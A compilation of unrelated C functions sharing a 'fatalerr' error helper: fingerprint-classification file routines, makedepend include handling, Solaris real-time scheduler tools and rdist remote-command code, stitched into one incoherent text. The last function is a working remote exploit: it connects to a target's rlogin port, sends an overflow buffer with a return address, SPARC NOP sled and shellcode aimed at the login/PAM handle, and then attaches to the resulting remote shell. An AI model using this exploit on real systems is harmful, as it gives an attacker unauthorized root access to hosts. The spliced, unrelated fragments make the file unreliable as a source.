void trnsfrm(float **reg_avrors_x, float **reg_avrors_y, const int aw, const int ah, const int trnsfrm_nrows_use, float *tm, const int tw, const int th, float *featvec) { int i, j; float *p, *pe, *q, a; if(isverbose()) printf(" apply unequal-weight and dim.-reducing transform\n"); if(2*aw*ah != tw) fatalerr("trnsfrm","# oa (2*aw*ah) != tm width (tw)", "need 2*aw*ah == tw"); if(trnsfrm_nrows_use != th) fatalerr("trnsfrm","# feats (trnsfrm_nrows_use) != tm height (th)", "need trnsfrm_nrows_use == th"); pe = featvec + trnsfrm_nrows_use; for(p = featvec, q = tm; p < pe;) { a = 0.0; for(j = 0; j < ah; j++) for(i = 0; i < aw; i++) a += *q++ * reg_avrors_x[j][i]; for(j = 0; j < ah; j++) for(i = 0; i < aw; i++) a += *q++ * reg_avrors_y[j][i]; *p++ = a; } #ifdef GRPHCS grphcs_featvec(featvec, trnsfrm_nrows_use); #endif }
void classes_read_n(char *infile, int *n) { FILE *fp; char file_type, asc_or_bin, str[200]; int i; if(!(fp = fopen(infile, "rb"))) fatalerr("classes_read_n", "fopen for reading failed", infile); while((i = getc(fp)) != '\n') if(i == EOF) fatalerr("classes_read_n", "file ends partway through \ description field", infile); fgets(str, 200, fp); sscanf(str, "%c %c", &file_type, &asc_or_bin); if(file_type != PCASYS_CLASSES_FILE) fatalerr("classes_read_n", "file is not of type \ PCASYS_CLASSES_FILE", infile); if(asc_or_bin == PCASYS_ASCII_FILE) fscanf(fp, "%d", n); else if(asc_or_bin == PCASYS_BINARY_FILE) { fread(n, sizeof(int), 1, fp); #ifdef __NBISLE__ swap_int_bytes(*n); #endif } else fatalerr("classes_read_n", "illegal ascii-or-binary code", infile); fclose(fp); }
IHEAD *readihdr( FILE *fp) { IHEAD *head; char lenstr[SHORT_CHARS]; int n, len; n = fread(lenstr,1,SHORT_CHARS,fp); if (n != SHORT_CHARS) { (void) fprintf(stderr,"readihdr: fread returned %d (expected %d)\n", n,SHORT_CHARS); exit(1); } if (sscanf(lenstr,"%d",&len) != 1) fatalerr("readihdr","cannot parse length field",(char *)NULL); if (len != IHDR_SIZE) fatalerr("readihdr","Record Sync Error: Header not found or old format.", NULL); head = (IHEAD *) malloc(sizeof(IHEAD)); if (head == (IHEAD *) NULL) syserr("readihdr","malloc","head"); n = fread(head,1,len,fp); if (n != len) { (void) fprintf(stderr,"readihdr: fread returned %d (expected %d)\n", n,len); exit(1); } return head; }
/* * Execute the command pointed to by cmdargv as a real-time process * with real time priority rtpri, quantum tqntm/res and quantum signal rtqsig. */ static void exec_rtcmd(char **cmdargv, uint_t cflags, pri_t rtpri, long tqntm, long res, int rtqsig) { pcinfo_t pcinfo; uintptr_t args[2*RT_KEYCNT+1]; uintptr_t *argsp = &args[0]; pri_t maxrtpri; hrtimer_t hrtime; /* * Get the real time class ID and max configured RT priority. */ (void) strcpy(pcinfo.pc_clname, "RT"); if (priocntl(0, 0, PC_GETCID, (caddr_t)&pcinfo) == -1) fatalerr("%s: Can't get RT class ID, priocntl system call" " failed with errno %d\n", basenm, errno); maxrtpri = ((rtinfo_t *)pcinfo.pc_clinfo)->rt_maxpri; if ((cflags & RT_DOPRI) != 0) { if (rtpri > maxrtpri || rtpri < 0) fatalerr("%s: Specified real time priority %d out of" " configured range\n", basenm, rtpri); ADDKEYVAL(argsp, RT_KY_PRI, rtpri); } if ((cflags & RT_DOTQ) != 0) { hrtime.hrt_secs = 0; hrtime.hrt_rem = tqntm; hrtime.hrt_res = res; if (_hrtnewres(&hrtime, NANOSEC, HRT_RNDUP) == -1) fatalerr("%s: Can't convert resolution.\n", basenm); ADDKEYVAL(argsp, RT_KY_TQSECS, hrtime.hrt_secs); ADDKEYVAL(argsp, RT_KY_TQNSECS, hrtime.hrt_rem); } if ((cflags & RT_DOSIG) != 0) ADDKEYVAL(argsp, RT_KY_TQSIG, rtqsig); *argsp = 0; if (rt_priocntl(P_PID, P_MYID, PC_SETXPARMS, "RT", args) == -1) fatalerr("%s: Can't reset real time parameters\n" "priocntl system call failed with errno %d\n", basenm, errno); (void) execvp(cmdargv[0], cmdargv); fatalerr("%s: Can't execute %s, exec failed with errno %d\n", basenm, cmdargv[0], errno); }
boolean issymbolic(char *dir, char *component) { #ifdef S_IFLNK struct stat st; char buf[BUFSIZ], **pp; sprintf(buf, "%s%s%s", dir, *dir ? "/" : "", component); for (pp = notdotdot; *pp; pp++) if (strcmp(*pp, buf) == 0) return (TRUE); if (lstat(buf, &st) == 0 && (st.st_mode & S_IFMT) == S_IFLNK) { *pp++ = copy(buf); if (pp >= ¬dotdot[MAXDIRS]) fatalerr("out of .. dirs, increase MAXDIRS\n"); return (TRUE); } #else (void) dir; /* shut up GCC */ (void) component; #endif return (FALSE); }
int pseudo(unsigned char **cfg, const int cw, const int ch, float **avrors2_x, float **avrors2_y, const int aw, const int ah, PSEUDO_PRS *pseudo_prs) { char str[200], **bad; int i, j, ii, jj, found_conup; float afloat, **dg, **us, **vs; double adouble; #ifdef GRPHCS int pw, ph; #endif if(isverbose()) { printf(" trace pseudoridges, searching for concave-upward... "); fflush(stdout); } if(!(0 <= pseudo_prs->initi_s && pseudo_prs->initi_s <= pseudo_prs->initi_e && pseudo_prs->initi_e <= (ah-1) && 0 <= pseudo_prs->initj_s && pseudo_prs->initj_s <= pseudo_prs->initj_e && pseudo_prs->initj_e <= (aw-1))) { sprintf(str, "Must have \n0 <= pseudo_prs->initi_s <= \ pseudo_prs->initi_e <= (ah-1) and \n0 <= pseudo_prs->initj_s <= \ pseudo_prs->initj_e <= (aw-1);\n\ncurrently values are:\n\ pseudo_prs->initi_s = %d\npseudo_prs->initi_e = %d\n\ pseudo_prs->initj_s = %d\npseudo_prs->initj_e = %d\n\ aw = %d, ah = %d\nwhich violates these restrictions\n", pseudo_prs->initi_s, pseudo_prs->initi_e, pseudo_prs->initj_s, pseudo_prs->initj_e, aw, ah); fatalerr("pseudo", str, NULL); }
static void add_include (const char *inc, char **incp) { char *beg, *end; if (!inc) return; #if defined (OS_OS2) || defined (OS_DOS) || defined (_WIN32) # define PATH_SEPARATOR ';' #else # define PATH_SEPARATOR ':' #endif /* can have more than one component */ beg = (char *) strdup (inc); for (;;) { end = (char *) strchr (beg, PATH_SEPARATOR); if (end) *end = 0; if (incp >= includedirs + MAXDIRS) fatalerr ("Too many include dirs\n"); *incp++ = beg; if (!end) break; beg = end + 1; } #undef PATH_SEPARATOR }
int main(int argc, char *argv[]) { FILE *fp_in, *fp_out; char *tranmat_file, *vecsfile_out, *vecsfile_out_desc, *desc, *ascii_outfile, *adesc, str[400]; int anint, nrows_use, message_freq, ascii_out = 0, tran_dim1, tran_dim2, nvecs, ascii_in, dim1, dim2, iarg, i, k, old_message_len = 0; float *tranmat, *invec, *invec_e, *outvec, *outvec_e, *p, *q, *r, a; char *mean_file; float *mnvec, *m; int mn_dim1, mn_dim2; if ((argc == 2) && (strcmp(argv[1], "-version") == 0)) { getVersion(); exit(0); } if(argc < 9) usage("<vecsfile_in[vecsfile_in...]> <mean file> <tranmat_file>\n\ <nrows_use> <vecsfile_out> <vecsfile_out_desc> <ascii_outfile> <message_freq>"); mean_file = argv[argc - 7]; tranmat_file = argv[argc - 6]; nrows_use = atoi(argv[argc - 5]); vecsfile_out = argv[argc - 4]; vecsfile_out_desc = argv[argc - 3]; ascii_outfile = argv[argc - 2]; message_freq = atoi(argv[argc - 1]); if(nrows_use < 1) fatalerr("kltran", "nrows_use must be >= 1", NULL); if(!strcmp(ascii_outfile, "y")) ascii_out = 1; else if(!strcmp(ascii_outfile, "n")) ascii_out = 0; else fatalerr("kltran", "ascii_outfile must be y or n", NULL); if(message_freq < 0) fatalerr("kltran", "message_freq must be >= 0", NULL); matrix_read_dims(tranmat_file, &tran_dim1, &tran_dim2); if(nrows_use > tran_dim1) { sprintf(str, "nrows_use must be <= first dim. (%d) of transform \ matrix", tran_dim1); fatalerr("kltran", str, NULL); }
static #ifdef SIGNALRETURNSINT int #else void #endif sighandler (int sig) { fflush (stdout); fatalerr ("got signal %d\n", sig); }
void hash_define( char *name, char *val, struct symhash **symbols ) { int hashval; struct pair *it; if ( !symbols ) return; /* Make space if it's needed */ if ( *symbols == NULL ) { int i; *symbols = (struct symhash *) malloc( sizeof( struct symhash ) ); if ( *symbols == NULL ) fatalerr( "malloc()/realloc() failure in insert_defn()\n" ); for ( i = 0; i < SYMHASHMEMBERS; ++i ) (*symbols)->s_pairs[i] = NULL; } hashval = hash( name ); it = (*symbols)->s_pairs[ hashval ]; /* Replace/insert the symbol */ if ( it == NULL ) { it = (*symbols)->s_pairs[ hashval ] = (struct pair*) malloc( sizeof( struct pair ) ); it->p_name = copy( name ); it->p_value = copy( val ); it->p_next = NULL; } else if ( strcmp( it->p_name, name ) == 0 ) { it->p_value = copy( val ); } else { while ( it->p_next && ( strcmp( it->p_next->p_name, name ) != 0 ) ) { it = it->p_next; } if ( it->p_next ) it->p_next->p_name = copy( name ); else { it->p_next = (struct pair*) malloc( sizeof( struct pair ) ); it->p_next->p_name = copy( name ); it->p_next->p_value = copy( val ); it->p_next->p_next = NULL; } } }
unsigned char *mallocate_image( int width,int height,int depth) { char error[64]; unsigned char *image = NULL; if (width < 1){ sprintf(error,"width = %d", width); fatalerr("mallocate_image","Invalid dimension", error); } if (height < 1){ sprintf(error,"height = %d", height); fatalerr("mallocate_image","Invalid dimension", error); } if (depth < 1){ sprintf(error,"depth = %d", depth); fatalerr("mallocate_image","Invalid dimension", error); } malloc_uchar(&image, SizeFromDepth(width, height, depth), "allocate_image : image"); return(image); }
/* * The Beginning */ int main(int argc, char **argv, char **envp) { extern char *__progname; char *cp; int c; progname = __progname; if (init(argc, argv, envp) < 0) exit(1); while ((c = getopt(argc, argv, "SDV")) != -1) switch (c) { case 'S': isserver++; break; case 'D': debug++; break; case 'V': printf("%s\n", getversion()); exit(0); case '?': default: error("Bad command line option."); usage(); } if (!isserver) { error("Use the -S option to run this program in server mode."); exit(1); } /* Use stdin and stdout for remote descriptors */ rem_r = fileno(stdin); rem_w = fileno(stdout); /* Set logging */ if ((cp = msgparseopts(localmsglist, TRUE)) != NULL) fatalerr("Bad message logging option (%s): %s", localmsglist, cp); /* * Main processing function */ server(); exit(nerrs != 0); }
/* * Do a specific command for a specific host */ static void docmdhost(struct cmd *cmd, char **filev) { checkcmd(cmd); /* * If we're multi-threaded and we're the parent, spawn a * new child process. */ if (do_fork && !amchild) { pid_t pid; /* * If we're at maxchildren, wait for number of active * children to fall below max number of children. */ while (activechildren >= maxchildren) waitup(); pid = spawn(cmd, cmds); if (pid == 0) /* Child */ amchild = 1; else /* Parent */ return; } /* * Disable NFS checks */ if (cmd->c_flags & CMD_NOCHKNFS) FLAG_OFF(options, DO_CHKNFS); if (!nflag) { currenthost = (cmd->c_name) ? cmd->c_name : "<unknown>"; #if defined(SETARGS) || defined(HAVE_SETPROCTITLE) setproctitle("update %s", currenthost); #endif /* SETARGS || HAVE_SETPROCTITLE */ } switch (cmd->c_type) { case ARROW: doarrow(cmd, filev); break; case DCOLON: dodcolon(cmd, filev); break; default: fatalerr("illegal command type %d", cmd->c_type); } }
struct filepointer *getfile (char *file) { register int fd; struct filepointer *content; content = (struct filepointer *) malloc (sizeof (struct filepointer)); if ((fd = open (file, O_RDONLY)) < 0) { warning ("cannot open \"%s\"\n", file); content->f_p = content->f_base = content->f_end = (char *) malloc (1); *content->f_p = '\0'; return (content); } #ifdef __DJGPP__ // For some unknown reason fstat() often fails on DJGPP size_t fsize = lseek (fd, 0, SEEK_END); lseek (fd, 0, SEEK_SET); #else struct stat st; fstat (fd, &st); size_t fsize = st.st_size; #endif content->f_base = (char *) malloc (fsize + 1); if (content->f_base == NULL) fatalerr ("cannot allocate mem\n"); if ((long)(fsize = read (fd, content->f_base, fsize)) < 0) fatalerr ("failed to read %s\n", file); #ifdef __EMX__ fsize = elim_cr (content->f_base, fsize); #endif close (fd); content->f_len = fsize + 1; content->f_p = content->f_base; content->f_end = content->f_base + fsize; *content->f_end = '\0'; content->f_line = 0; return (content); }
/* * Retrieve the current rt_dptbl from memory, convert the time quantum * values to the resolution specified by res and write the table to stdout. */ static void get_rtdptbl(ulong_t res) { int i; int rtdpsz; pcinfo_t pcinfo; pcadmin_t pcadmin; rtadmin_t rtadmin; rtdpent_t *rt_dptbl; hrtimer_t hrtime; (void) strcpy(pcinfo.pc_clname, "RT"); if (priocntl(0, 0, PC_GETCID, (caddr_t)&pcinfo) == -1) fatalerr("%s: Can't get RT class ID, priocntl system call " "failed with errno %d\n", basenm, errno); pcadmin.pc_cid = pcinfo.pc_cid; pcadmin.pc_cladmin = (char *)&rtadmin; rtadmin.rt_cmd = RT_GETDPSIZE; if (priocntl(0, 0, PC_ADMIN, (caddr_t)&pcadmin) == -1) fatalerr("%s: Can't get rt_dptbl size, priocntl system call " "failed with errno %d\n", basenm, errno); rtdpsz = rtadmin.rt_ndpents * sizeof (rtdpent_t); if ((rt_dptbl = (rtdpent_t *)malloc(rtdpsz)) == NULL) fatalerr("%s: Can't allocate memory for rt_dptbl\n", basenm); rtadmin.rt_dpents = rt_dptbl; rtadmin.rt_cmd = RT_GETDPTBL; if (priocntl(0, 0, PC_ADMIN, (caddr_t)&pcadmin) == -1) fatalerr("%s: Can't get rt_dptbl, priocntl system call " "failed with errno %d\n", basenm, errno); (void) printf("# Real Time Dispatcher Configuration\n"); (void) printf("RES=%ld\n\n", res); (void) printf("# TIME QUANTUM PRIORITY\n"); (void) printf("# (rt_quantum) LEVEL\n"); for (i = 0; i < rtadmin.rt_ndpents; i++) { if (res != HZ && rt_dptbl[i].rt_quantum != RT_TQINF) { hrtime.hrt_secs = 0; hrtime.hrt_rem = rt_dptbl[i].rt_quantum; hrtime.hrt_res = HZ; if (_hrtnewres(&hrtime, res, HRT_RNDUP) == -1) fatalerr("%s: Can't convert to requested " "resolution\n", basenm); if ((rt_dptbl[i].rt_quantum = hrtconvert(&hrtime)) == -1) fatalerr("%s: Can't express time quantum in " "requested resolution,\n" "try coarser resolution\n", basenm); } (void) printf("%10d # %3d\n", rt_dptbl[i].rt_quantum, i); } }
int main(int argc, char *argv[]) { FILE *fp_in, *fp_out; char *datafile, *new_desc, tempfile[200], *p, achar, str[400]; int i; if ((argc == 2) && (strcmp(argv[1], "-version") == 0)) { getVersion(); exit(0); } Usage("<datafile> <new_desc>"); datafile = *++argv; new_desc = *++argv; for(p = new_desc; *p; p++) if(*p == '\n') fatalerr("chgdesc", "new description contains a newline", NULL); sprintf(tempfile, "%s_chgdesc%d", datafile, getpid()); if(exists(tempfile)) { sprintf(str, "temporary file that must be produced, %s, already \ exists; exiting rather than clobbering that file", tempfile); fatalerr("chgdesc", str, NULL); } if(!(fp_out = fopen(tempfile, "wb"))) fatalerr("chgdesc", "fopen for writing failed", tempfile); fprintf(fp_out, "%s\n", new_desc); if(!(fp_in = fopen(datafile, "rb"))) { fclose(fp_out); unlink(tempfile); fatalerr("chgdesc", "fopen for reading failed", datafile); } while((i = getc(fp_in)) != '\n') if(i == EOF) { fclose(fp_out); unlink(tempfile); fatalerr("chgdesc", "file ends partway through description \ field", datafile); }
void covariance_write(char *outfile, char *desc, const int ascii, int order, int nvecs, float *the_floats) { FILE *fp; int r, c; float *p; float *tfloats; if(!(fp = fopen(outfile, "wb"))) fatalerr("covariance_write", "fopen for writing failed", outfile); if(strchr(desc, '\n')) fatalerr("covariance_write", "description string contains a \ newline", outfile); fprintf(fp, "%s\n%c %c\n", desc, PCASYS_COVARIANCE_FILE, (ascii ? PCASYS_ASCII_FILE : PCASYS_BINARY_FILE)); if(ascii) { fprintf(fp, "%d %d\n\n", order, nvecs); for(r = 0, p = the_floats; r < order; r++) { for(c = 0; c < r; c++) fprintf(fp, "%14.7e%c", *p++, ((c % 5 < 4) ? ' ' : '\n')); fprintf(fp, "%14.7e\n\n", *p++); } } else { /* binary */ #ifdef __NBISLE__ swap_int_bytes(order); swap_int_bytes(nvecs); #endif fwrite(&order, sizeof(int), 1, fp); fwrite(&nvecs, sizeof(int), 1, fp); #ifdef __NBISLE__ swap_int_bytes(order); swap_int_bytes(nvecs); swap_float_bytes_vec_cpy(the_floats, (order * (order+1))/2, &tfloats); p = the_floats; the_floats = tfloats; #endif fwrite(the_floats, sizeof(float), (order * (order + 1)) / 2, fp); #ifdef __NBISLE__ free(tfloats); the_floats = p; #endif } fclose(fp); }
int allocate_aligned_image( unsigned char **adata, int *awidth, int width,int height,int depth) { int aligned_width, aligned_length, width16; unsigned char *image = NULL, *aligned_image = NULL; char num_str[12]; if (width < 1) { sprintf(num_str,"%d",width); fatalerr("allocate_aligned_image","Invalid width", num_str); } if (height < 1) { sprintf(num_str,"%d",height); fatalerr("allocate_aligned_image","Invalid height", num_str); } if (depth < 1) { sprintf(num_str,"%d",depth); fatalerr("allocate_aligned_image","Invalid depth", num_str); } width16 = width_16(width); if ((image = (unsigned char *)calloc(SizeFromDepth(width16, height, depth), sizeof(unsigned char))) == NULL) syserr("allocate_aligned_image","calloc","image"); if (WordAlignImage(&aligned_image, &aligned_width, &aligned_length, image, width16, height, depth)){ *adata = aligned_image; *awidth = aligned_width; free(image); } else{ *adata = image; *awidth = width16; aligned_length = SizeFromDepth(width16, height, depth); } return(aligned_length); }
/* * Print our class name and the configured user priority range. */ static void print_rtinfo(void) { pcinfo_t pcinfo; (void) strcpy(pcinfo.pc_clname, "RT"); (void) printf("RT (Real Time)\n"); if (priocntl(0, 0, PC_GETCID, (caddr_t)&pcinfo) == -1) fatalerr("\tCan't get maximum configured RT priority\n"); (void) printf("\tConfigured RT User Priority Range: 0 through %d\n", ((rtinfo_t *)pcinfo.pc_clinfo)->rt_maxpri); }
void classes_write_ind(char *outfile, char *desc, const int ascii, int n, unsigned char *the_classes, int ncls, char **long_classnames) { FILE *fp; int i; unsigned char *ucp; int pindex = 1; if(!(fp = fopen(outfile, "wb"))) fatalerr("classes_write", "fopen for writing failed", outfile); if(strchr(desc, '\n')) fatalerr("classes_write", "description string contains a \ newline", outfile); fprintf(fp, "%s\n%c %c\n", desc, PCASYS_CLASSES_FILE, (ascii ? PCASYS_ASCII_FILE : PCASYS_BINARY_FILE)); if(ascii) { fprintf(fp, "%d\n", n); fprintf(fp, "%d\n", pindex); fprintf(fp, "%d\n", ncls); for(i = 0; i < ncls; i++) fprintf(fp, "%s\n", long_classnames[i]); for(i = 0, ucp = the_classes; i < n; i++) fprintf(fp, "%d\n", ucp[i]); } else { /* binary */ #ifdef __NBISLE__ swap_int_bytes(n); swap_int_bytes(pindex); swap_int_bytes(ncls); #endif fwrite(&n, sizeof(int), 1, fp); fwrite(&pindex, sizeof(int), 1, fp); fwrite(&ncls, sizeof(int), 1, fp); #ifdef __NBISLE__ swap_int_bytes(n); swap_int_bytes(pindex); swap_int_bytes(ncls); #endif for(i = 0; i < ncls; i++) fwrite(long_classnames[i], sizeof(char), LONG_CLASSNAME_MAXSTRLEN, fp); fwrite(the_classes, sizeof(unsigned char), n, fp); } fclose(fp); }
float PixPerByte( int depth) { float pixperbyte; switch (depth) { case 1: pixperbyte = 8.0; break; case 2: pixperbyte = 4.0; break; case 4: pixperbyte = 2.0; break; case 8: pixperbyte = 1.0; break; case 16: pixperbyte = 0.5; break; case 32: pixperbyte = 0.25; break; case 64: pixperbyte = 0.125; break; default: fatalerr("PixPerByte", "depth != power of 2 between 1 and 64 (inclusive)", NULL); } return pixperbyte; }
void lng2shrt(int nouts, char **long_classnames, char *lcn_scn_infile, char ***short_classnames) { FILE *fp; char str[200], line[100], *set, alcn[50], ascn[50]; int nlines, iline, i; if((fp = fopen(lcn_scn_infile, "rb")) == (FILE *)NULL) syserr("lng2shrt", "fopen for reading failed", lcn_scn_infile); for(nlines = 0; fgets(line, 100, fp); nlines++); rewind(fp); if(nlines != nouts) { sprintf(str, "No. of lines in %s, %d, does not equal \ nouts arg, %d", lcn_scn_infile, nlines, nouts); fatalerr("lng2shrt", str, NULL); }
static int remotecmd(char *rhost, char *luser, char *ruser, char *cmd) { int desc; #if defined(DIRECT_RCMD) static int port = -1; #endif /* DIRECT_RCMD */ debugmsg(DM_MISC, "local user = %s remote user = %s\n", luser, ruser); debugmsg(DM_MISC, "Remote command = '%s'\n", cmd); (void) fflush(stdout); (void) fflush(stderr); (void) signal(SIGALRM, sighandler); (void) alarm(RTIMEOUT); #if defined(DIRECT_RCMD) (void) signal(SIGPIPE, sighandler); if (port < 0) { struct servent *sp; if ((sp = getservbyname("shell", "tcp")) == NULL) fatalerr("shell/tcp: unknown service"); port = sp->s_port; } if (becomeroot() != 0) exit(1); desc = rcmd(&rhost, port, luser, ruser, cmd, 0); if (becomeuser() != 0) exit(1); #else /* !DIRECT_RCMD */ debugmsg(DM_MISC, "Remote shell command = '%s'\n", path_remsh ? path_remsh : "default"); (void) signal(SIGPIPE, SIG_IGN); desc = rcmdsh(&rhost, -1, luser, ruser, cmd, path_remsh); if (desc > 0) (void) signal(SIGPIPE, sighandler); #endif /* DIRECT_RCMD */ (void) alarm(0); return(desc); }
/* * Add an include file to the list of those included by 'file'. */ struct inclist *newinclude(char *newfile, char *incstring) { struct inclist *ip; /* * First, put this file on the global list of include files. */ ip = inclistp++; if (inclistp == inclist + MAXFILES - 1) fatalerr("out of space: increase MAXFILES\n"); ip->i_file = copy(newfile); ip->i_included_sym = FALSE; if (incstring == NULL) ip->i_incstring = ip->i_file; else ip->i_incstring = copy(incstring); return(ip); }
char *extractfet(char *feature, FET *fet) { int item; char *value; for (item = 0; (item < fet->num) && (strcmp(fet->names[item],feature) != 0); item++); if (item>=fet->num) fatalerr("extractfet",feature,"not found"); if(fet->values[item] != (char *)NULL){ value = strdup(fet->values[item]); if (value == (char *)NULL) syserr("extractfet","strdup","value"); } else value = (char *)NULL; return(value); }
void deletefet(char *feature, FET *fet) { int item; for (item = 0; (item < fet->num) && (strcmp(fet->names[item],feature) != 0); item++); if(item >= fet->num) fatalerr("deletefet",feature,"Feature not found"); free(fet->names[item]); if(fet->values[item] != (char *)NULL) free(fet->values[item]); for (++item;item<fet->num;item++){ fet->names[item-1] = fet->names[item]; fet->values[item-1] = fet->values[item]; } fet->names[fet->num-1] = '\0'; fet->values[fet->num-1] = '\0'; (fet->num)--; }
void copy_logical_image( int logop, unsigned char *frdata, int frx, int fry, int frw,int frh, unsigned char *todata, int tox, int toy, int tow,int toh, int cpw, int cph ) { switch (logop) { case LOG_COPY: binary_subimage_copy( frdata,frw,frh, todata,tow,toh, frx,fry,cpw,cph,tox,toy); break; /* FIXME I can't find these functions */ #if 0 case LOG_OR: /* FIXME I can't find these functions */ binary_subimage_or( frdata,frw,frh, todata,tow,toh, frx,fry,cpw,cph,tox,toy); break; case LOG_AND: /* FIXME I can't find these functions */ binary_subimage_and( frdata,frw,frh, todata,tow,toh, frx,fry,cpw,cph,tox,toy); break; case LOG_XOR: /* FIXME I can't find these functions */ binary_subimage_xor( frdata,frw,frh, todata,tow,toh, frx,fry,cpw,cph,tox,toy); break; #endif default: fatalerr("copy_logical_image","bad operator",(char *)NULL); break; } }
int main(int argc, char **argv) { extern char *optarg; int c; int lflag, gflag, rflag, sflag; ulong_t res; char *infile; (void) strcpy(cmdpath, argv[0]); (void) strcpy(basenm, basename(argv[0])); lflag = gflag = rflag = sflag = 0; while ((c = getopt(argc, argv, "lc:gr:s:")) != -1) { switch (c) { case 'l': lflag++; break; case 'c': if (strcmp(optarg, "RT") != 0) fatalerr("error: %s executed for %s class, " "%s is actually sub-command for RT class\n", cmdpath, optarg, cmdpath); break; case 'g': gflag++; break; case 'r': rflag++; res = strtoul(optarg, (char **)NULL, 10); break; case 's': sflag++; infile = optarg; break; case '?': fatalerr(usage); default: break; } } if (lflag) { if (gflag || rflag || sflag) fatalerr(usage); (void) printf("RT\t(Real Time)\n"); return (0); } else if (gflag) { if (lflag || sflag) fatalerr(usage); if (rflag == 0) res = 1000; get_rtdptbl(res); return (0); } else if (sflag) { if (lflag || gflag || rflag) fatalerr(usage); set_rtdptbl(infile); return (0); } else { fatalerr(usage); } return (1); }
void define2 (const char *name, const char *val, struct inclist *file) { int first, last, below; register struct symtab **sp = NULL, **dest; struct symtab *stab; /* Make space if it's needed */ if (file->i_defs == NULL) { file->i_defs = (struct symtab **) malloc (sizeof (struct symtab *) * SYMTABINC); file->i_ndefs = 0; } else if (!(file->i_ndefs % SYMTABINC)) file->i_defs = (struct symtab **) realloc (file->i_defs, sizeof (struct symtab *) * (file->i_ndefs + SYMTABINC)); if (file->i_defs == NULL) fatalerr ("malloc()/realloc() failure in insert_defn()\n"); below = first = 0; last = file->i_ndefs - 1; while (last >= first) { /* Fast inline binary search */ register const char *s1; register const char *s2; register int middle = (first + last) / 2; /* Fast inline strchr() */ s1 = name; s2 = file->i_defs[middle]->s_name; while (*s1++ == *s2++) if (s2[-1] == '\0') break; /* If exact match, set sp and break */ if (*--s1 == *--s2) { sp = file->i_defs + middle; break; } /* If name > i_defs[middle] ... */ if (*s1 > *s2) { below = first; first = middle + 1; } /* else ... */ else { below = last = middle - 1; } } /* Search is done. If we found an exact match to the symbol name, just replace its s_value */ if (sp != NULL) { free ((void *)(*sp)->s_value); (*sp)->s_value = copy (val); return; } sp = file->i_defs + file->i_ndefs++; dest = file->i_defs + below + 1; while (sp > dest) { *sp = sp[-1]; sp--; } stab = (struct symtab *) malloc (sizeof (struct symtab)); if (stab == NULL) fatalerr ("malloc()/realloc() failure in insert_defn()\n"); stab->s_name = copy (name); stab->s_value = copy (val); *sp = stab; }
/* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], *p = buf; char c, *host = NULL, term[] = "vt100/9600"; int fd, i, found, len; int timeout = TIMEOUT, debug = 0; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* parse command line */ if (argc < 2) usage(argv[0]); while ((c = getopt(argc, argv, "dh:t:")) != EOF) switch(c) { case 'h': host = optarg; break; case 't': timeout = atoi(optarg); break; case 'd': debug = 1; break; default: usage(argv[0]); } if (!host) usage(argv[0]); /* connect to the target host */ fd = net_connect(host, 513, 10); fprintf(stderr, "# connected to remote host: %s\n", host); /* signal handling */ signal(SIGPIPE, SIG_IGN); /* begin the rlogin session */ memset(buf, 0, sizeof(buf)); if (send(fd, buf, 1, 0) < 0) fatalerr("send", strerror(errno), fd); if (net_read(fd, buf, sizeof(buf), timeout) < 0) fatalerr("error", "Timeout reached in rlogin session", fd); /* dummy rlogin authentication */ memcpy(p, "foo", 3); // local login name p += 4; memcpy(p, "bar", 3); // remote login name p += 4; memcpy(p, term, sizeof(term)); // terminal type p += sizeof(term); fprintf(stderr, "# performing dummy rlogin authentication\n"); if (send(fd, buf, p - buf, 0) < 0) fatalerr("send", strerror(errno), fd); /* wait for password prompt */ found = 0; memset(buf, 0, sizeof(buf)); while (net_read(fd, buf, sizeof(buf), timeout)) { if (strstr(buf, "assword: ") != NULL) { found = 1; break; } memset(buf, 0, sizeof(buf)); } if (!found) fatalerr("error", "Timeout waiting for password prompt", fd); /* send a dummy password */ if (send(fd, "pass\n", 5, 0) < 0) fatalerr("send", strerror(errno), fd); /* wait for login prompt */ found = 0; memset(buf, 0, sizeof(buf)); fprintf(stderr, "# waiting for login prompt\n"); while (net_read(fd, buf, sizeof(buf), timeout)) { if (strstr(buf, "ogin: ") != NULL) { found = 1; break; } memset(buf, 0, sizeof(buf)); } if (!found) fatalerr("error", "Timeout waiting for login prompt", fd); fprintf(stderr, "# returning into 0x%08x\n", RETADDR); /* for debugging purposes */ if (debug) { printf("# debug: press enter to continue"); scanf("%c", &c); } /* prepare the evil buffer */ memset(buf, 0, sizeof(buf)); p = buf; /* login name */ memcpy(p, "foo ", 4); p += 4; /* return address (env) */ set_val(p, 0, RETADDR); p += 4; memcpy(p, " ", 1); p++; /* trigger the overflow (env) */ for (i = 0; i < 60; i++, p += 2) memcpy(p, "a ", 2); /* padding */ memcpy(p, " BBB", 4); p += 4; /* nop sled and shellcode */ for (i = 0; i < 398; i++, p += 4) memcpy(p, sparc_nop, 4); p += sc_copy(p, sc, sizeof(sc) - 1); /* padding */ memcpy(p, "BBB ", 4); p += 4; /* pam_handle_t: minimal header */ memcpy(p, "CCCCCCCCCCCCCCCC", 16); p += 16; set_val(p, 0, RETADDR); // must be a valid address p += 4; set_val(p, 0, 0x01); p += 4; /* pam_handle_t: NULL padding */ for (i = 0; i < 52; i++, p += 4) set_val(p, 0, 0x00); /* pam_handle_t: pameptr must be the 65th ptr */ memcpy(p, "\x00\x00\x00 AAAA\n", 9); p += 9; /* send the evil buffer, 256 chars a time */ len = p - buf; p = buf; while (len > 0) { fprintf(stderr, "#"); i = len > 0x100 ? 0x100 : len; send(fd, p, i, 0); len -= i; p += i; if (len) send(fd, "\x04", 1, 0); usleep(500000); } fprintf(stderr, "\n"); /* wait for password prompt */ found = 0; memset(buf, 0, sizeof(buf)); fprintf(stderr, "# evil buffer sent, waiting for password prompt\n"); while (net_read(fd, buf, sizeof(buf), timeout)) { if (strstr(buf, "assword: ") != NULL) { found = 1; break; } memset(buf, 0, sizeof(buf)); } if (!found) fatalerr("error", "Most likely not vulnerable", fd); fprintf(stderr, "# password prompt received, waiting for shell\n"); if (send(fd, "pass\n", 5, 0) < 0) fatalerr("send", strerror(errno), fd); /* wait for shell prompt */ memset(buf, 0, sizeof(buf)); found = 0; while (net_read(fd, buf, sizeof(buf), timeout)) { if (strstr(buf, "# ") != NULL) { found = 1; break; } memset(buf, 0, sizeof(buf)); } if (!found) fatalerr("error", "Most likely not vulnerable", fd); /* connect to the remote shell */ fprintf(stderr, "# shell prompt detected, successful exploitation\n\n"); shell(fd); exit(0); }